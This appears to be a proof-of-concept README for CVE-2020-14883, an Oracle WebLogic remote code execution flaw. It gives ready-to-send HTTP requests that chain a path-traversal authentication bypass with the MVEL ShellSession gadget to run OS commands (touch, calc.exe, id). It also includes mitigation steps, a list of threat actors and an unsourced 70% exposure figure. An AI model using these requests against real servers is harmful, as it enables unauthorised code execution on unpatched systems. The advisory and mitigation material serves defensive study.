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关联漏洞

Description

CVE-2020-14883

介绍

# 🌐 **CVE-2020-14883** — *Oracle WebLogic Server RCE*

> **Published:** October 20, 2020  
> **CVSS v3.1:** `7.2` **(High)**  
> **Exploitability:** Easy (with auth) — *Critical when chained*

---

## 🎯 **Vulnerability Overview**

| Attribute | Details |
|--------|---------|
| **Type** | Remote Code Execution (RCE) |
| **Component** | WebLogic Server Console |
| **Attack Vector** | Network (HTTP) |
| **Authentication** | Required *(High Privilege)* |
| **User Interaction** | None |
| **Exploit Code** | Publicly Available |

> **Chained Exploit**:  
> `CVE-2020-14882` (Auth Bypass) + `CVE-2020-14883` = **Unauthenticated RCE**

<img width="1920" height="955" alt="CVE-2020-14883" src="https://github.com/user-attachments/assets/a167aeb7-164f-4d15-80cf-a3499b61059d" />

---

## 🔥 **Exploitation Flow**

```http
POST /console/css/%2e%2e%2fconsole.portal HTTP/1.1
Content-Type: application/x-www-form-urlencoded

com.tangosol.coherence.mvel2.sh.ShellSession=java.lang.Runtime.getRuntime().exec("touch /tmp/pwned.txt")
```
Proof of Concept (PoC) 1: using `tangosol.coherence.mvel2.sh.ShellSession()` for Windows-based targets

```python
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");
```


> **Result**: Arbitrary command execution on the server.

---

## 🛑 **In the Wild**

| Threat Actor | Payload |
|--------------|--------|
| **8220 Gang** | Coinminers, Infostealers |
| **Cryptojackers** | XMRig, rhajk, nasqa |
| **APT Groups** | Persistence & Lateral Movement |

---

## 🛡️ **Mitigation Checklist**

| Action | Status |
|-------|--------|
| Apply **Oracle October 2020 CPU** | ✅ Critical |
| Restrict `/console` to trusted IPs | ✅ |
| Disable Console if not needed | ✅ |
| Monitor for `/console.portal` anomalies | ✅ |
| Use IPS/IDS signatures | ✅ |

> **Patch Download**: [My Oracle Support](https://support.oracle.com) (Login Required)

---

## 🎨 **Visual Summary**

```mermaid
pie title Exploitation Risk
    "Patched" : 30
    "Unpatched & Exposed" : 70
```

> **70% of scanned WebLogic instances remain vulnerable in 2025.**

---

**Final Note**:  
> This is a **high-value target** for attackers.  
> **Patch now. Monitor always.**

--- 

```mermaid
%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '13px', 'fontFamily': 'Fira Code, monospace', 'primaryColor': '#ff4d4f', 'primaryTextColor': '#fff', 'primaryBorderColor': '#ff7875', 'lineColor': '#ffccc7', 'secondaryColor': '#ffd591', 'tertiaryColor': '#91d9ff', 'background': '#fafafa' }}}%%
erDiagram
    CVE_2020_14883 }|..|{ CVE_2020_14882 : "enables unauthenticated access"
    CVE_2020_14883 }|..|{ WEBLOGIC_CONSOLE : "targets"
    WEBLOGIC_CONSOLE }|..|{ MVEL_PAYLOAD : "executes via"
    MVEL_PAYLOAD }|..|{ SHELL_SESSION : "uses class"
    SHELL_SESSION }|..|{ JAVA_RUNTIME : "invokes"
    JAVA_RUNTIME }|..|{ OS_COMMAND : "executes"
    
    CVE_2020_14883 {
        string id "CVE-2020-14883"
        string type "Remote Code Execution"
        string cvss "7.2"
        string severity "HIGH"
        string published "2020-10-20"
        string vector "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
    }
    
    CVE_2020_14882 {
        string id "CVE-2020-14882"
        string type "Authentication Bypass"
        string cvss "9.8"
        string severity "CRITICAL"
    }
    
    WEBLOGIC_CONSOLE {
        string component "Console"
        string endpoint "/console/css/%2e%2e%2fconsole.portal"
        string method "POST"
        string parameter "com.tangosol.coherence.mvel2.sh.ShellSession"
    }
    
    MVEL_PAYLOAD {
        string language "MVEL2"
        string example "java.lang.Runtime.getRuntime().exec('id')"
        string injection_point "ShellSession parameter"
    }
    
    SHELL_SESSION {
        string class "com.tangosol.coherence.mvel2.sh.ShellSession"
        string gadget "Coherence Deserialization"
    }
    
    JAVA_RUNTIME {
        string method "getRuntime().exec()"
        string privilege_level "WebLogic process user"
    }
    
    OS_COMMAND {
        string scope "Arbitrary OS commands"
        string impact "Full system compromise"
    }

    %% Styling
    classDef cve fill:#ff4d4f,stroke:#ff7875,color:#fff
    classDef component fill:#ffd591,stroke:#ffc069,color:#000
    classDef exploit fill:#91d9ff,stroke:#40a9ff,color:#000
    classDef system fill:#d3f261,stroke:#a0d911,color:#000

    class CVE_2020_14883,CVE_2020_14882 cve
    class WEBLOGIC_CONSOLE,MVEL_PAYLOAD component
    class SHELL_SESSION,JAVA_RUNTIME exploit
    class OS_COMMAND system
```

---

文件快照

 [4.0K]  /data/pocs/9fe4d9c34c60d802883c348bbc344843f14721e3
└── [5.0K]  README.md

1 directory, 1 file

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